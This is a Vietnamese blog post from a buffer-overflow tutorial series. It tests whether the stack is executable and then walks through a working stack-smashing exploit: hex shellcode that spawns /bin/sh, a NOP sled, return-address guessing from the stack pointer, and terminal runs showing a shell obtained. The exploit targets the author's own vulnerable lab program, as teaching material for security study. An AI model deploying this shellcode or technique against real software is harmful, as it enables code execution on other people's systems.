Ta đã biết cách giải quyết vấn đề NULL-byte [1]. Câu hỏi kế tiếp là: “để shellcode ở chỗ nào”? Chỗ tự nhiên nhất là trên chính buffer đang bị tràn. Tuy nhiên, trước đó ta phải kiểm tra xem hệ thống của ta có cho execute chương trình trên stack không (vì buffer nằm trên stack). Chương trình sau có thể dùng để kiểm tra điều này.
/*
* ---------------------------------------------------------------------------
* Is the stack actually executable?
* - The answer is YES for my operating system
* - May not be YES for newer versions of OpenBSD or FreeBSD
* ---------------------------------------------------------------------------
*/
#include
// "gotcha!" bytecode
char bytecode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x11\x59\xb3\x01\xb2\x08\xb0"
"\x04\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff"
"\x47\x6f\x74\x63\x68\x61\x21\x0a";
int main() {
char buf[500] = "Type some thing";
unsigned long *ptr = (unsigned long *) buf; // a moving pointer
unsigned long buf_addr = (unsigned long) ptr; // address of 'buf' itself
/* overflow buf with return address */
int i; // there's a VERY FUNNY BUG if you define i before buf
for (i=0; i<200; i++) {
*ptr++ = buf_addr;
}
strcpy(buf, bytecode);
return 0;
}
Bài tập 4: nếu ta định nghĩa biến i
trước biến buf
thì điều gì sẽ xảy ra?
Thử chạy ví dụ này:
[NQH] hanoi:~/BO$ make 12
gcc -g ex12.c -o ex12
[NQH] hanoi:~/BO$ ex12
Gotcha!
Nếu bạn thấy “Gotcha!” thì stack của bạn executable. Kế đến, giả sử ta tìm cách khai thác chương trình vuln_lb.c
như trong bài trước [1]. Chương trình này có buffer đủ lớn để đặt shellcode vào. Có hai cách cơ bản để khai thác chương trình này. Hôm nay ta dùng cách 1: viết một chương trình khác “gọi” chương trình có lỗi này.
Ý tưởng cơ bản như sau. Giả sử buffer bị tràn nằm ở địa chỉ B
. Ta sẽ thiết kế dữ liệu nhập theo dạng sau:
[NNNNNNNNCCCCCCCCCCAAAAAAAA]
B------- |
^ |
| |
------------
Trong đó, dữ liệu nhập có 3 đoạn:
- Đoạn đầu chứa một chuỗi các bytes ‘\x90′ – các bytes này là mã máy của lệnh NOP (no operation). Đoạn này như hình trên được ký hiệu bằng một chuỗi các chữ
N
. Đoạn này được gọi là NOP sled. - Đoạn hai (chuỗi các chữ C) chính là shellcode.
- Đoạn cuối dùng để tràn vào địa chỉ trả về của hàm đang chạy của chương trình bị khai thác. Nếu ta biết chính xác địa chỉ
B
thì quá tốt, ta chỉ cần đặtA
bằngB
. Nhưng trong thực tế, ta khó có thể biết chính xác buffer của chương trình bị khai thác bắt đầu từ địa chỉ nào, vì thế ta phải “đoán”B
. Nếu phán đoánA
của ta rơi vào chuỗi NOP thì xong, vì khi đó lệnh NOP sẽ được bỏ qua từng cái một cho đến khi đụng lệnh thực sự của shellcode (chuỗi một đám chữ C).
Thế làm thế nào để đoán cho gần đúng? Ta sẽ lấy stack pointer hiện hành của một chương trình làm mốc, xê dịch nó xuống địa chỉ thấp từng chút một cho đến khi đụng chuỗi NOP sled. Vì stack pointer ta sẽ lấy có rất nhiều khả năng là nằm cao hơn stack pointer của chương trình bị khai thác, do chương trình bị khai thác phải làm nhiều việc, stack của nó sẽ “dài” hơn. Đó là ý tưởng chính của đoạn chương trình sau đây.
#include
#define NSL 200 // NOP sled's length
#define SIZE 600 // buffer size
#define OFFSET 0 // ESP - OFFSET is an estimation of where code is
char shellcode[] =
"\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x19\x89\x41\x04"
"\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b";
unsigned long get_stack_pointer(void) {
__asm__("movl %esp, %eax"); // %esp is returned
}
int main(int argc, char** argv) {
int i;
char* buf;
unsigned long esp = get_stack_pointer(); // estimating the stack pointer
unsigned long offset = OFFSET;
if (argc == 2) { offset = atoi(argv[1]); }
unsigned long ret = esp - offset;
printf("ESP = 0x%x\n", esp);
printf("OFFSET = 0x%x\n", offset);
printf("RET = 0x%x\n", ret);
buf = (char*) malloc(SIZE);
if (buf == NULL) {
printf("Something's seriously wrong\n");
exit(1);
}
// fill buf with return address
unsigned long *ptr = (unsigned long *) buf;
for (i=0; i< SIZE; i+=4) {
*(ptr++) = ret;
}
// fill the first NSL bytes of buf with NOP sled; the picture is
// [NNNNNNNNNNNNCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAA]
for (i=0; i< NSL; i++) {
buf[i] = '\x90';
}
// shellcode after NOP sled
for (i= NSL; i< strlen (shellcode)+NSL; i++) {
buf[i] = shellcode [i-NSL];
}
buf[SIZE-1] = 0;
// lastly, call the vulnerable program
printf("Executing the exploit code\n");
execl("./vuln_lb", "vuln_lb", buf, 0);
free(buf);
exit(0);
}
Chương trình này cho phép ta nhập một offset để xê dịch phán đoán của ta xuống một chút (hoặc “lên” nếu offset là số âm). Với NOP sled dài 200 bytes, phán đoán của ta nhiều khả năng là đúng. Thử ngay:
[NQH] hanoi:~/BO$ make 15
gcc ex15.c -o ex15
[NQH] hanoi:~/BO$ ./ex15
ESP = 0xbffff968
OFFSET = 0x0
RET = 0xbffff968
Executing the exploit code
sh-2.05b$ exit
exit
Ah hah! Được rồi. Thế nếu ta đoán “xuống” 200 bytes thì sao?
[NQH] hanoi:~/BO$ ./ex15 200
ESP = 0xbffff968
OFFSET = 0xc8
RET = 0xbffff8a0
Executing the exploit code
Segmentation fault
Không được! Phán đoán này đã trỏ địa chỉ trả về ra ngoài đoạn NOP sled, ở đó nhiều khả năng là các bytes rác, vì thế ta có segmentation fault. Còn nếu ta đoán xuống 100 bytes thôi thì vẫn còn nằm trong NOP sled:
[NQH] hanoi:~/BO$ ./ex15 100
ESP = 0xbffff968
OFFSET = 0x64
RET = 0xbffff904
Executing the exploit code
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$
Phương pháp viết một chương trình khác dùng cũng được, nhưng mất thì giờ quá. Phải dịch, chạy, sửa, dịch lại, vân vân. Có cách khác dễ dàng hơn và nhanh hơn nhiều!
Article printed from Blog Khoa Học Máy Tính: http://www.procul.org/blog
URL to article: http://www.procul.org/blog/2006/06/14/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-9-th%e1%bb%ad-khai-thac-v%e1%bb%9bi-chu%e1%bb%97i-nop/
URLs in this post:
[1] vấn đề NULL-byte: http://www.procul.org/blog/2006/06/13/l%e1%bb%97i-tran-b%e1%bb%99-o%e1%bb%87m-8-cnn-b%e1%ba%a3n-v%e1%bb%81-shellcodes/